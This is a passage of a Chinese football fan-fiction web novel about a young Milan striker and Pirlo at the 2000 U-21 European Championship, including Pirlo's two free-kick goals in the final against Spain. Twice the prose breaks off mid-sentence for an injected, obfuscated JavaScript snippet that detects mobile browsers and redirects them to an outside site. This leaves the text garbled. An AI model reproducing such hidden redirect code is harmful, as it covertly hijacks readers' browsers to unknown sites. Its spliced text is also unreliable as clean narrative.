其他人都两手空空，只有路德维希带了一个挎包，挎包里一个小熊脑袋探出头，一双黑豆眼睛似乎在静静地观察这个世界。 路德维希看见兰帕德注意到了憨豆熊，于是把它拿了出来，这下兰帕德就知道自己为什么感到熟悉了——《憨豆先生》在英国非常受欢迎，他的小熊朋友也很有名。 “我很喜欢《憨豆先生》，”路德维希给他的小熊朋友戴上货架上摆着的小毛线帽，“弗兰克是英国人，肯定也看过吧。” “确实很好看。”哈维说。 兰帕德让自己忽视有个西班牙佬站在身边，极力夸赞路德维希的品味，“这是全英国最伟大的喜剧，我家里人都喜欢看，lulu，你原来对英国感兴趣吗？” 出发前卡拉格对兰帕德紧急培训，告诉后者共同爱好是最重要的，如果对方对他感兴趣那他们才有可能，现在路德维希喜欢英国，四舍五入就是对兰帕德也感兴趣。 “其实西班牙也有著名的喜剧……”哈维又说话了。 这是布拉迪斯拉发老城区的一间玩偶商店，橱窗里摆着曾经的捷克斯洛伐克最著名的动画《鼹鼠的故事》主角的玩偶，短手短脚圆乎乎的鼹鼠睁着大眼睛，在这间温馨的玩偶店里挥手、跳舞和挠头，有的穿着背带裤，有的戴着毛线帽，还有鼹鼠开着宇宙飞船被挂在天花板下转着圈，墙上梵高的名画《星月夜》里，一只鼹鼠坐在月亮上，正低头去看脚下的模糊混乱的城市。 所有人里，只有卡西利亚斯才是真正的和路德维希有共同话题，在关于动画这方面。 他们两都看过《丁丁历险记》，卡西利亚斯听见路德维希给自己的相机叫丁丁，立刻就兴奋地追问，“是不是丁丁？喜欢旅游的那个小男孩？” 他揪着自己金棕色的头发，假装自己也有动画主角丁丁一样的发型，这个样子实在是太丢人，哈维受不了地走开了，假装自己不认识这个人。 “喜欢旅游的小男孩？”皮尔洛顺着卡西的话想了想，“lulu确实很喜欢到处跑。” “因为外面的世界真的很有意思，你看这个鼹鼠。”路德维希献宝一样捧着开着宇宙飞船的鼹鼠要给皮尔洛看，憨豆熊也换上了背带裤和芒果配色的毛线帽，坐在宇宙飞船的副驾驶位置上，船长鼹鼠兴高采烈地要带这个乘客出发了。 本来这是非卖品，店主只做展示，不过路德维希一眼就喜欢上了，然后请求店主卖给他。 兰帕德继续大力赞美路德维希的审美，“黄绿色的帽子真好看！” 哈维冷不丁地说：“lulu是打算退役后要环游世界吗？” 环游世界，这太符合路德维希给人的印象了，他看上去就是要坐着热气球上天，或者开着直升飞机消失在大海尽头的人，就算哪天路德维希对所有人宣布自己要坐宇宙飞船去探索星空也不会有人意外，因为这件事对路德维来说自然得好像回家一样理所当然，谁能阻止太阳发光，谁能让星星不要流过天空呢？ 是路德维希选择了足球，不是足球选择了他，哈维觉得路德维希退役后肯定会潇洒地离开足球的世界，好像只是短暂地停留，但最终他还是再次要出发了。 这样的生机勃勃，这样的永不停歇，让人目眩神迷。 11. 第 11 章 已经在五大联赛一线队出场的球员在欧青赛的赛场上就是降维打击，职业赛场的强度和节奏都不是青年联赛能比得上的，许多前锋在青年联赛大杀四方，到了一线队结果三天两头受伤下场，瞬间变成玻璃人，其实不是他们在青年队瞒天过海让俱乐部蒙了眼，而是成年赛场的冲撞太激烈了。 路德维希活蹦乱跳地从职业赛场上下来了，然后惊奇地发现对面后卫撞他的力气怎么变小了以前还能把他撞翻，现在只能让他踉跄几步，还能继续带球跑，不像他在意甲的时候，对面后卫感觉能吃三个他，球过可以人不行，能拽着他裤子不让他走，裁判过来就撒手，比着小鸡手说自己什么也没干。 青年队的球员显然没有一线队的老油条们经验丰富又臭不要脸，所以意大利U-21青年队的比赛经常出现这样好笑的一幕，路德维希一带球，对面的后卫就如临大敌地冲上去。 后卫们也许用尽了全力，想让场面如同彗星撞地球般壮烈，但实际上他们看起来轻飘飘得像是纸片，被路德维希一创就烂，就只能像个gay子似地挂在金发前锋身上，一路缠缠绵绵到禁区，然后目睹自家球门被进球。 门将球迷气得直骂哥们你是gay子吗？但只有他们知道自己多么苦。 意大利一路高歌，三战全胜小组第一出线，斯洛伐克两胜一平排第二，第三是英格兰，他们输给意大利平了斯洛伐克，唯一赢的对手是土耳其，三场比赛全输的土耳其垫底，要和英格兰一起收拾收拾滚回老家了。 A组第一则是西班牙，第二是捷克，两个东道主国家都出线了。 路德维希的生日是6月1日，刚好在小组赛最后一场比赛举办的那天，最后一场意大利对阵B组的送分童子土耳其，然后毫无意外地3：1赢了比赛，回到酒店后后勤人员已经准备好了生日蛋糕，要给路德维希庆祝。 路德维希头顶上戴着小王冠，被所有人围在中心，漂亮的三层生日蛋糕在推车上被厨师推了进来，上面插着一圈彩色的小蜡烛，烛火跳动着映照在路德维希闭着眼的脸上，他认真地合掌祈祷了好久，但是没有人催促他，所有人都在鼓掌唱歌，要把自己的祝福也传达给生日主角。 “又长大一岁了，哎呀，lulu还是个小孩子呢，”塔尔德利偷偷地对路德维希说，“之后回到俱乐部别被扎切罗尼继续当牛使了，知道了吗？欧文未成年首发那是利物浦没人了，AC米兰有那么多前锋，什么时候轮得上你了。” 路德维希原本以为塔尔德利叫他过来是为了之后的战术，没想到听见了这番话。 国家队主教练和俱乐部主教练天生立场就是相对的，球员们都想进国家队为国效力，鼓着劲表现自己就为了国家队看他一眼，不求回报也要进去，而俱乐部自然不能拦着球员，可是球员在国家队是为国尽忠了，但是发工资的是俱乐部，伤了球员俱乐部的比赛怎么办？ 球员们对俱乐部主教练也不像对国家队那样尊敬，生怕对方不带自己去比赛，和俱乐部主教练闹矛盾闹得惊天动地的球员并不少，扎切罗尼回心转意让路德维希首发，俱乐部满意球迷满意他自己满意了，但是最后受苦的只有路德维希自己。 塔尔德利这番话是完全站在了路德维希的角度，没去管自己国青队教练的身份，要是传出去就是“国家队主教练鼓励球员俱乐部消极比赛”，要被人追着骂的。 可塔尔德利还是说了。 “……我不会受伤。”路德维希看着手里的蛋糕，犹豫了一会才说话。 塔尔德利笑话他，“lulu，哪有球员不受伤的，伤病是球员最大的敌人，你必须得时时刻刻地小心，不要被它们追上了。” “你下个赛季就要去租借出去了吧，”塔尔德利摸了摸路德维希的脑袋，然后摆摆手示意他可以去找朋友们玩去了，其他球员们玩疯了正在丢蛋糕，他们两个站在角落里的安全区，“阿森纳的温格确实不错，就是英国太糟糕了，没有太阳没有沙滩菜也难吃死了，要是想家了就给我们打电话。” 塔尔德利离开了，路德维希想了想，决定去找皮尔洛，他肯定不会参加蛋糕大战，除非确保自己能全身而退的时候。 皮尔洛拿着相机正在录像。 他站在二楼居高临下地把队友们丢蛋糕玩的全程都录了下来，打算过个十几年再放出来狠狠丢这群家伙的脸，意大利球员有写自传的传统，如果以后他写自传的话，今天晚上的素材那就太多了。 他举着相机慢悠悠地观察着，漫无目的地转动视角，楼梯口处路德维希金色的卷毛忽然跃入了镜头，接着是少年低垂着的脸庞，在暗色的灯光下温润得像是瓷器般发着微光。 这台相机只有3.3百万的像素，暗光环境下噪点开始在画面上跳跃，这时路德维希看见了皮尔洛，自然地朝对方走去，于是相机里朦胧的影子也开始移动 ，只有路德维希雕塑一般白净的脸是清晰的，雪花点在他浅金色的卷发上模糊，他绿色的眼睛笼罩在黑暗里，像是淹没的湖。 皮尔洛还在录像，直到路德维希彻底走到他身边也没停下来。 “生日快乐。”皮尔洛轻轻说，他把相机对准身后的玻璃，玻璃上倒映着两人模糊的身影。 “不是已经说过了吗？”路德维希笑，发觉皮尔洛还在录像，于是对着玻璃挥挥手算作打招呼，“但是安德烈亚的心意我已经收到了，还是双倍，谢谢你，安德烈亚。” “谢谢我就告诉我你今天许了什么愿——怎么想那么久，很想要上帝帮你实现吗？” 路德维希摇头，“我的愿望上帝已经帮我实现了，我没有愿望啦，只是觉得大家唱歌很好听，如果我睁开眼就要吹蜡烛了，所以才一直闭着眼。” 朋友们乱糟糟的歌声围绕着他，在黑暗里像是朦胧的火光，温暖又明亮，路德维希有些贪恋这温度，只希望大家都能长长久久地留在这一刻。 ……哪有这样的理由，生日歌有什么好听的，但是如果是路德维希，这样又合理了，他总是奇奇怪怪的，好像住在另一个世界。 皮尔洛哼哼，“不喜欢吹蜡烛？下次我帮你吹。” 皮尔洛的生日在5月19号，那个时候所有人都已经到了科维尔恰诺，他也是在众人簇拥下过生日，还被起哄要把自己许了什么愿告诉大家。 可路德维希说“愿望说出来就不灵了”，所以不让大家闹皮尔洛，但其实皮尔洛是希望他能问自己的，他许的愿望跟路德维希有关，他都想好了该怎么告诉他，可是后者不问。 “好啊，我把自己的愿望送给安德烈亚，你来帮我许今天的愿望吧。如果安德烈亚的愿望实现了，我也会开心的。” 路德维希忍不住微笑，他觉得这个主意非常好，他喜欢看见朋友们开心的样子，这样他也能感到由衷的幸福。神明已经给了自己健康美满的这一世，路德维希想不出来自己还需要什么，他幸运地得到了很多的爱，于是也想把爱分享给别人。 皮尔洛下意识地捏紧了手，却忘记自己手里还有相机，手指不小心按住按钮，滴的一声，录像结束了，终止于两个人在玻璃窗前对视。皮尔洛漫不经心地摆弄着相机，避开路德维希困惑的目光。 “咳咳，我的愿望不需要靠上帝实现。”皮尔洛咳嗽了几声，若无其事地开口了。 路德维希立刻捧场，“嗯，所以说出来不会不灵吧，那安德烈亚可以告诉我吗？” “lulu，我希望你能实现我的愿望——我们要一起赢得冠军，一起回意大利。” “你就要实现它了，”皮尔洛终于忍不住微笑了，没有什么比这一刻更美好，如果可以，他希望时光永远停留在此时，“为我进球吧，我的前锋。” 为了要证明自己的皮尔洛，为了科维尔恰诺，为了他的朋友们，路德维希要一路向前。 英格兰队出局后，兰帕德就跟着队友们离开了，他给路德维希发消息，让新朋友一定要赢，“至少输给冠军好看点”，他苦中作乐，很快安慰好了自己。 他离开的时候，路德维希没能去送他——他现在也不能出去玩了，因为认识他的球迷越来越多，为了安全着想，塔尔德利让路德维希乖乖待在酒店里。 在欧洲，足球就是生活，看球赛对于欧洲人来说就像吃饭喝水一样自然，不管什么时候打开电视，总有球队在比赛，从业余联赛到顶级赛场，球迷们从来不缺比赛看。 在这样的氛围下，很多球迷其实根本不关注外国的联赛，只看本国的比赛就够了，他们认识外国球星的唯一方式就是欧冠、欧洲杯和世界杯这样的国际比赛。 如果一个球员在某个联赛称霸，而国家队缺乏表现，没准出门到其他地方走一圈就会发现压根没几个人认识自己。这个时候的媒体还不像后世那么迅速便利，每天报道本国的球星们都来不及，除了像是皇马拜仁这种豪门俱乐部又开始宫斗好莱坞，或者AC米兰五连败震惊欧洲这种大新闻，媒体们是没空印在报纸上挣钱的。 ——《太阳报》除外，搞狗血八卦当然越多人越好，正主离得远刚好不能找它辟谣，等意识到谣言再来找它算账，八卦已经传遍欧洲，连德甲那种农民联赛人人都知道了。 随着意大利欧青赛的连胜，他们最后和西班牙的决赛的关注度变得相当高，国家队比赛的特殊性就在这里了，就算是平时再怎么不关注足球的人，面对国家队也会分出一丝注意力的。 在这样万众瞩目的氛围下，路德维希终于意识到自己似乎出名了。 在意大利，他虽然也是枚不折不扣的超级新星，但他从小在AC米兰长大，所有人都知道他最后一定会在圣西罗开启自己的职业生涯，等他真的进了一线队后，球迷们也只是感到理所当然，不会激动地要和路德维希合影签名，大多数人只是骄傲自己看着长大的天才闪耀圣西罗，好像父母培养孩子成了才，只忙着炫耀了。 成名早就是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442993|169386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，媒体们和球迷一样也习惯了路德维希，久处不惊，除了夸夸他的表现，也没什么报道可以发出去。 而现在，来自世界各地的球迷们都热情地追逐路德维希，在布拉迪斯拉发的街道上渴望遇到某个金发的球员，他们爱路德维希，也许是因为他的进球，也许是因为他的外表，长得好看又踢球的球员就是容易受到更多关注度。 英格兰的万人迷贝克汉姆连换了新发型都有报纸出动直升机去偷拍，现在路德维希似乎也有了这个架势。 于是远在米兰的扎切罗尼突然又被媒体追着问路德维希了，球员们是夏歇，俱乐部是夏窗，他本该忙着转会，但居然接受了采访，还出乎意料地夸了路德维希： “毫无疑问，路德维希就是所有主教练会喜欢的那种球员，他认真谦逊，从不在训练场上偷懒，对于我的战术，他也严格地执行，在球场上他就是我最爱的球员……” 扎切罗尼表现得好像现在还是赛季末，路德维希正站在球场上为了他进球一样，热情得让人摸不着头脑。 只有两个人隐约意识到了扎切罗尼想干什么，一个是马尔蒂尼，另一个人是温格。 法国U-21青年队在预选时就直接出局了，温格没机会在欧青赛上观察自己后花园里的小甜菜们，于是全部精力都放在了路德维希身上，试图直接买下而非租借。 这样的好球员，肯定要直接买回家，租借只是迫不得已，因为AC米兰态度强硬地说不卖。可是现在，原本谈到一半的租借因为AC米兰模糊的态度僵持住了，另一边还有曼联故意捣乱，英超俱乐部的关系就像怨侣，虽然没仇但是能给你找不痛快的机会还是要珍惜，弗格森就很乐意地宣扬一通自己对路德维希的看好，觉得他适合老特拉福德。 温格不会以为是因为曼联抬价，所以AC米兰才犹豫，毕竟租借是为了磨炼球员，去了曼联路德维希能有上场空间吗？弗格森可不会把小球员当什么宝贝珍惜使用，AC米兰不想到时候被球迷骂就不可能同意去曼联，去曼联那还不如留在米兰。 他是担心AC米兰不想租借了。 毕竟球员表现这么好，扎切罗尼的态度又这么模糊，俱乐部的态度反应了主教练的想法，上个赛季末路德维希和扎切罗尼相处很好，现在主教练一拍脑袋说不行不行，我们得把路德维希留下，俱乐部肯定不会拒绝。 温格表示想跟球员自己沟通一下，AC米兰直接拒绝了，说不能打扰到还在比赛的路德维希，再问租借事宜，又满口还要考虑，路德维希是米兰内洛的孩子，我们必须要对球迷负责云云。 温格只好叹息着感慨自己和路德维希真的没缘分，谁让上赛季AC米兰五连败，扎切罗尼不得不把路德维希扒拉上一线队火速出场，如果他还没在一线队首秀的话，扎切罗尼最后肯定还是会把路德维希租借出去的。 路德维希本人倒是比温格还晚一天知道自己下赛季会留在米兰。 决赛在6月4号，3号的晚上路德维希接到了马尔蒂尼的电话。 生日那天马尔蒂尼就已经祝福过他了，路德维希有点不知道队长找自己干什么，马尔蒂尼说要给他一个特殊的礼物，只是现在要保密，难道这个秘密礼物这么快吗？ “免得你被勾到英国去了，”马尔蒂尼的心情很好，笑意透过手机在路德维希耳边颤动着，“lulu，你会留在米兰，不用去伦敦了。” “你喜欢哪个柜子，还是之前那个吗？”他兴致盎然地问，好像正站在更衣室里，立刻要把路德维希的东西全部搬去新地方。但他实际上只是刚从主席办公室出来，那间办公室的碎纸机里，有一张来自阿森纳的租借申请，上面已经签好了名，马尔蒂尼亲眼看着它被粉碎，连同路德维希离开AC米兰的可能。 伦敦会远离lulu，米兰的孩子不会离开家。 “背号是不是也要换一个？”马尔蒂尼笑意盈盈。 老球员的柜子都挨在一起，临时进一线队的路德维希选了一个靠近门口的位置，附近都是他不熟悉的球员，马尔蒂尼希望他在更衣室能更靠近自己，好让自己可以时时照顾到他。 还有背号也是一样，路德维希值得更好的。 传统的前锋背号都已经有了主人，路德维希的背号还是他在青年队一直以来的16号，不过它们的主人这赛季都要离开AC米兰了，马尔蒂尼认为路德维希足够成为这些传奇背号的下一任主人。 “不用去伦敦了吗？”路德维希愣了一下，下意识问道。 他是真的不在乎要去英国过苦日子，兰帕德走之前还扭扭捏捏地问了他是不是要去伦敦？如果去伦敦的话，西汉姆联也在伦敦，他们可以一起去伦敦西区看《狮子王》，lulu你会和我去看吗？ 还有欧文，欧文说要带他去开直升飞机。 但现在马尔蒂尼斩钉截铁地回答路德维希： “当然，你会留在米兰，毫无疑问。” 12. 第 12 章 2000年U-21欧青赛的决赛场面让所有提前预想过赛况的人都大吃一惊。 意大利队主教练塔尔德利对球队的安排从小组赛到淘汰赛，几乎都是进攻性拉满的阵容，全队的攻击核心路德维希目前9球占领金靴榜第一，比第二名多了3球，已经是板上钉钉的最佳射手。大多数人都认为决赛阶段塔尔德利依然会是4231或者352，边路传中，中场轰炸，让路德维希最大程度地发挥自己的压迫力。 但塔尔德利意料地排出了433的阵容，路德维希从万年不变的中锋位置改踢左边锋。 “啊，大家可以看到意大利队16号前锋路德维希出乎意料地出现在了左边锋的位置上，此前，从小组赛第一场比赛到现在，路德维希一直担任的都是中锋，”解说看见阵容一愣，下一刻开始尽职尽责地为观众分析阵容，“西班牙队显然没有料到这种情况，他们排出了442阵容，显然他们知道自己最大的威胁来自路德维希，于是在中路加强了防守……” 场边西班牙队主教练伊纳基·萨埃斯已经开始捂脸了，赛前所有的战术推演都是建立在路德维希中锋的基础上，双中卫稳固中路防线，注重协防，让意大利前锋来了有去无回——但谁知道路德维希今天去踢边锋了！中路稳如泰山和他有什么关系，他可以直接在边路起飞，而西班牙没有人能拦得住他。 塔尔德利仿佛要回应有些媒体提出的拴狗冠言论，在决赛阶段狠狠秀了一把战术。 赛前不少人表示意大利的战术一目了然，把路德维希往中路一放，全队只要给他脚底下塞球就行，萨埃斯也是仔细研究过意大利的比赛，发现还真是这个理，于是就这么准备了，毕竟总不可能决赛换阵吧，没想到现在被塔尔德利摆了一道。 现在只能寄希望于西班牙队上半场能顶住攻势，到中场调整了。 但是西班牙队显然撑不到那个时候。 路德维希在边路长驱直入，撒欢一样狂奔，本场比赛的正经中锋科曼蒂尼勤勤恳恳地给路德维希吸引火力，如果两人势均力敌，或许他还有点竞争意识，觉得做配跌份，但如果对象是路德维希那就不一样了，他积极地像头疯牛一样乱创，按照战术频繁后撤，为边路创造空间。 科曼蒂尼带球突进，西班牙防守球员立刻上前跟防，积极抢断，球权在中场不断转移，你来我往好不热闹。西班牙的后卫卡普德维拉一门心思地跟着路德维希，就算意大利前锋只是在散步，他也要跟着一起散步，于是赛场上被分为了两个部分，激烈的中场大战和悠闲的边路，电视转播里能看见路德维希小步跑着还侧头去跟后卫聊天。 “你可不可以不要跟我了，”路德维希特意用西语说，“哈维在中路那么辛苦你不要去帮他吗？” 卡普德维拉一边惊讶对方会说西语，并且这西语怎么还有点巴塞罗那口音，一边严词拒绝路德维希，“不要诱/惑我！”他凶巴巴地说。 在赛场上不是每个人都会跟路德维希聊天，路德维希有点惊喜对方回应他了，继续笑容满满地问：“太好了，你居然能听懂我说话，我的西语标准吗？” 他的西语是和哈维聊天练出来的，去年认识之后他们经常会打电话，路德维希上一线队后哈维立刻就打跨国电话来祝贺路德维希。 卡普德维拉愣了一下，老实说：“能听懂，但是有点口音……” 在萨埃斯的预想中，中场会以哈维为核心，依靠中场球员优秀的短传能力和比赛阅读能力调动球队，压迫对面意大利队的阵容。 能踢欧青赛的球员，就意味着在本国他们就是这个年龄段最优秀的球员，在本届欧青赛中，前锋球员里意大利的路德维希独领风骚，中场球员方面则是百花齐放，意大利的皮尔洛和西班牙的哈维都以出色的中场调动能力受到关注。 现在他们同时在决赛首发登场，有不少人也在好奇谁才是最优秀的哪一个。 比赛十分钟不到，西班牙的防线就被路德维希和科曼蒂尼联手撕碎，皮尔洛趁机送上一脚直塞，和他默契十足的路德维希突然启动，一个变速甩开身上的西班牙牛皮糖，轻松地胸部停球，然后杀入西班牙半区的肋部。 先前的比赛已经说明了路德维希的冲击力有多强，西班牙的后卫们不敢赌自己能成功抢断的概率，抢断失败不要紧，就怕对方进了禁区，如果在禁区里放倒路德维希就要小心点球套餐了，于是西班牙后卫路易斯直接迎面奔去，干脆利落地撞翻了意大利前锋。 时刻关注着边路的裁判立刻吹响哨子，示意比赛暂停，在裁判走来之前，路易斯早就伸出手给路德维希从草地上拉起来了，还自然地拍了拍路德维希的肩膀，好像他们是队友一样。 路德维希也有些不懂了，他倒是没有受伤，比赛体育场是天然草皮，摩擦力小，他地上滚了一圈只是小腿红了一块皮肤，撞翻他的后卫就站在原地，立刻把他给拉起来了，让习惯了被侵/犯的路德维希有些惊讶。 “你没事吧？”路易斯笑嘻嘻地问他。 “我应该还好。”路德维希也乖乖地回答对方。 两人气氛如此和谐，两边赶来的队友自然也骂不起来，裁判摸着脑门也是沉默了一秒，然后按照规则警告了路易斯，给意大利队判了一个任意球。 比赛第16分钟，意大利获得一个任意球的机会，距离球门22.6米。 西班牙的球员们在门将卡西利亚斯的指挥下开始排人墙。 塔尔德利希望路德维希能专心自己运动战进球的能力，定位球这种东西不急，而且国家队时间太短也练不出来，所以路德维希只是意思意思练习了一下，更多的精力放在了其他地方。 意大利队内第一罚球手是皮尔洛，中场球员似乎更容易成为任意球大师，皮尔洛在这方面也的确有天赋，在队内的训练里经常踢出好球，训练结束后也经常加练。 趁着对面还在拍人墙，皮尔洛对原地蹦跶的路德维希招了招手，示意他过来。 路德维希一过来，皮尔洛就斩钉截铁地告诉他：“我要直接进球。” 以为他是要和自己配合的路德维希只是困惑了一秒，下一刻就选择无条件相信自己的中场。 “安德烈亚，你一定会成功的。” 皮尔洛挑眉看着他，“这是祝福吗？” 虽然表面云淡风轻，但是路德维希凭借过去的经验，已经发现了皮尔洛其实正在紧张，他是个好强又骄傲的人，绝不会让自己在应该站出来的时候流露出一点动摇，只有有能力的人才会被众人信赖，此刻他就是背负重担的骑士，在这场战争里，他要自己必须单枪骑马把敌人斩于马下。 ……但其实这个任意球不进也没什么，世界上从来没有百分百进球率的球员，失败了没有人会怪皮尔洛，意大利队场面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442994|169386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占优，进球迟早会到来，所有人都这么想。 但是足球是圆的，足球不缺乏反转和奇迹，所以任何能走向胜利的机会都要把握住。 路德维希想给这个积蓄力量的骑士一点鼓励，让他知道自己永远会站在他身后。 于是路德维希捧着皮尔洛的脸，去亲吻他的额头，仿佛要把自己的信心和勇气也传达给对方。在万人嘈杂的人声里，两个人都没有说话，只是默默注视着彼此，皮尔洛对路德维希无声地微笑，似乎真的从路德维希的鼓励里得到了胜利的天启。 “我会进球的。”他再次说道。 “……现在让我们继续回到比赛上，西班牙队已经排好了人墙，卡西利亚斯，这位来自拉法布里卡的年轻门将在本届欧青赛表现惊人，四场比赛仅失一球，而意大利队的罚球手是中场球员皮尔洛，此前比赛中共罚球四次，一次直接破门，一次间接任意球助攻。” 皮尔洛站上了罚球点。 中场是球队的大脑，皮尔洛从第一次接触足球开始，他就下定决心一定要当球队的大脑，组织、调动、拉扯……中场是球队的生命，他享受指挥球队的乐趣，但是前锋永远才是球场上最闪耀的球员，因为只有进球才能赢得胜利。没有胜利，一切都不重要。 ——但是在判罚任意球的时候，中场球员才是万众瞩目的人。这是完全的个人英雄主义，看见球门了吗？射进去。 我要进球，皮尔洛想，他的心情平静下来，他知道自己会射进的。他会证明自己，他会扬名立万，他会带着冠军回到意大利。 “裁判吹哨了，我们可以看见意大利罚球手皮尔洛深吸一口气开始助跑，也许这会是个完美的助攻，门前意——球进了！直挂死角，卡西利亚斯根本来不及反应！” 皮尔洛一蹴而就，球踢出去的那一刻一种冥冥中的预感告诉他这球绝对会进，在所有人还没有反应过来的时候他直接转头狂奔 。 他跳上路德维希的腰，用尽全力地搂住这个人，这时候路德维希甚至还在扭头看球网，只是下意识抱住了皮尔洛。皮尔洛亲得太用力让他被迫地仰头，在旋转的视角里，路德维希看见黑白色的足球在门线里无力地弹跳了一下，被满脸无奈的卡西利亚斯捡了起来。 全场的欢呼声霎时震天而响，而皮尔洛捧着路德维希的脸毫无章法地亲吻他的脸颊，路德维希也在笑，绿色的眼睛闪闪发光，觉得好像有一只小狗正在舔他的脸似的，皮尔洛热情得简直不像他了。他不得不搂紧了皮尔洛，好像他们天生就该拥抱在一起。 谁能不激动呢，在无数人的见证下，皮尔洛亲自罚进了那颗球。 “你知道我会罚进去的！”皮尔洛大声喊，背后队友们怪叫着也冲了过来，把自己也甩在他们两个人的身上，好像金毛犬追着飞出去的飞盘扑了上来。 路德维希直接被压倒了，他倒在最下面，皮尔洛歪歪扭扭地趴在他身上，队友们身上的热气和汗水好像某种兴奋的催化剂，所有人的理智都消失了，只有心还在跳动，要迫不及待地冲出胸膛说些什么，路德维希勉强抬起头，嘴唇却只能对着皮尔洛的脖子呵气。 “安德烈亚，安德烈亚！” “我在这！” “毫无疑问的大心脏选手，在决赛这样重要的场合皮尔洛居然选择直接射门！” “目前意大利1:0西班牙，比赛继续。” 13. 第 13 章 “他真好看，吉吉怎么每次都能和漂亮小孩打好关系，”加图索艳羡地远远望着布冯肩膀上金发的男孩，用胳膊撞了撞自己的好友，“安德烈亚，你怎么不去找那个孩子玩？” 皮尔洛漫不经心地回答：“我可是中场，应该是前锋主动来找我。” 那个踢前锋的男孩叫路德维希·阿涅尔。 皮尔洛默默念了几遍这个老古板的名字，而加图索已经忍不住凑上去和新队友打招呼了。阿涅尔有着浅金色的头发和漂亮的绿眼睛，像个突然降临人世的小天使一样出现在所有人面前，大家都冲过去和他打招呼，顺便还要亲他的脸，只有皮尔洛依然站在原地，他要对方主动朝他走来。 前锋都是傻子，都得靠他这个聪明脑袋，他坚信。 * 谁也没想到闪耀全场的球员会是皮尔洛。 像这种国际大赛，本来就是小年轻们给自己加点星味的舞台，只要一场比赛表现好了，回到国内大小也是个为了国家流血流汗的天才新星，勤俭持家的俱乐部都要追着问，而在决赛又更不一样了，但凡只要关注的比赛的人，多多少少都是好奇最后赢家是谁的。 在这种万众瞩目里，皮尔洛第十八分钟任意球直接破门，为意大利打入了决赛的第一球。 比赛继续。 意大利门将轻松没收了西班牙前锋劳尔·塔穆多的远射，在后卫们强势的挤位下，西班牙人只能仓皇起脚，力气轻飘飘的，直接被门将抱在怀里了。 虽然他的名字里也有劳尔，但他显然不能天神下凡拯救西班牙。 意大利的门将叫做桑克蒂斯，原本被布冯和阿比亚蒂压得常年在国青队只能当三门，谁知道这届比赛他的两大竞争对手要么进国家队了，要么受伤了，于是在狂喜中被塔尔德利拎过去当了首发门将。 他决心要在本届欧青赛上展现出自己真正的实力，于是接球后秀了一把自己苦练已久的脚法，一个大脚球就飞到了中场，意大利后卫里瓦尔塔稍微跑两步就顺利接到了球，然后传给了伸手示意的皮尔洛。 皮尔洛一脚出球，被路德维希接住。金发少年持球狂奔的场面让观众永远看不腻，转播屏幕追逐着路德维希一路深入西班牙的禁区，卡西利亚斯已经在大喊封堵！封堵！，门前四个后卫也无法给他安全感，他一转头又看见科曼蒂尼的脸，心脏狂跳之际，还是路易斯当机立断，直接倒地铲球。 路德维希被铲得在地上滚了三圈，裁判追过来鸣哨，直接判了个任意球，摇着头让两边人都不要说话了。 “你他爹的还敢撞lulu？！只会盯着他是吗？” 这句话挺没道理，谁让路德维希接球最多，铲球肯定铲接球的人，不过科科用意大利语骂人，路易斯听不懂，只能听见对方嘴巴里舌头弹得可以去拉小提琴了，想也不用想肯定在骂自己。 “冷静冷静，你看路德维希他没事啊……”他无奈地用西班牙语说。 武德充沛的科科拎着路易斯领子，口水在对方脸上乱喷，路易斯知道自己理亏，不断摆着手，眼见着没人理自己，裁判不得不亲自过去拉开他们，指了指自己黄牌作为警告。 作为前锋，被铲来铲去都习惯了，就算后卫刚才还跟他他聊天，赛前哈维和卡西还要跟他拥抱呢，到了赛场上该下脚还是下脚。卡西利亚斯现在见了路德维希就恨不得他赶紧离自己十万八千里，亲亲爱爱还是留在赛后，最好是西班牙赢，路德维希趴在他胸前哭。 路德维希爬起来立刻就要去看队友，但所有人看都不看他，瞄一眼发现他没事，吵架还不用分心了，全一拥而上去给裁判施压。 路德维希只好站在外圈叉腰，看裁判到底怎么说。 又是一个任意球。 这次不用提醒，路德维希就主动走过去亲皮尔洛。 “我还会进球的。”皮尔洛意气风发，顺手拍拍路德维希的脑袋。路德维希的头发又浓又密，像是羊毛一样堆在头上，手感非常好，他没忍住多揉了几下。 解说尽职尽责地分析着场上的局面：“还是意大利中场球员皮尔洛判罚这个任意球，目前是上半场第37分钟，这是意大利本场比赛的第二个任意球，让我们看看皮尔洛会如何处理……” “——球进了！还是直接射门！” 历史再一次重演，但这次皮尔洛没有狂喜地加入庆祝的队友，他就站在原地，无比冷静地看着又因为他沸腾的人群，神情仿佛理所当然。 他是天才，天才就该这样带领队友走向胜利。 “意大利2：0领先西班牙！” “意大利球员皮尔洛两次任意球直接射门，不可置信的结果，全部成功射门！这个年轻球员在赛场上实现了统治级别的压迫力，观众朋友们，我可以断言，意大利未来十年的中场核心已经出现了！” “安德烈亚·皮尔洛，全世界都会记住这个名字。” 面对这样的任意球，谁能阻止呢？卡西利亚斯神色黯淡，连怪队友的心思都生不出来，其他人也是一样。在这样漂亮的进球前，西班牙下半场再怎么尽力反扑也无济于事。中场阶段西班牙教练萨埃斯已经调整了战术，但是塔尔德利这时候终于想起来意大利的传统了，两球优势在手，开始摆铁桶阵。 最终意大利2：0击败西班牙,赢得了2000U-21欧青赛冠军。 这也是意大利历史上第四个U-21欧青赛冠军。 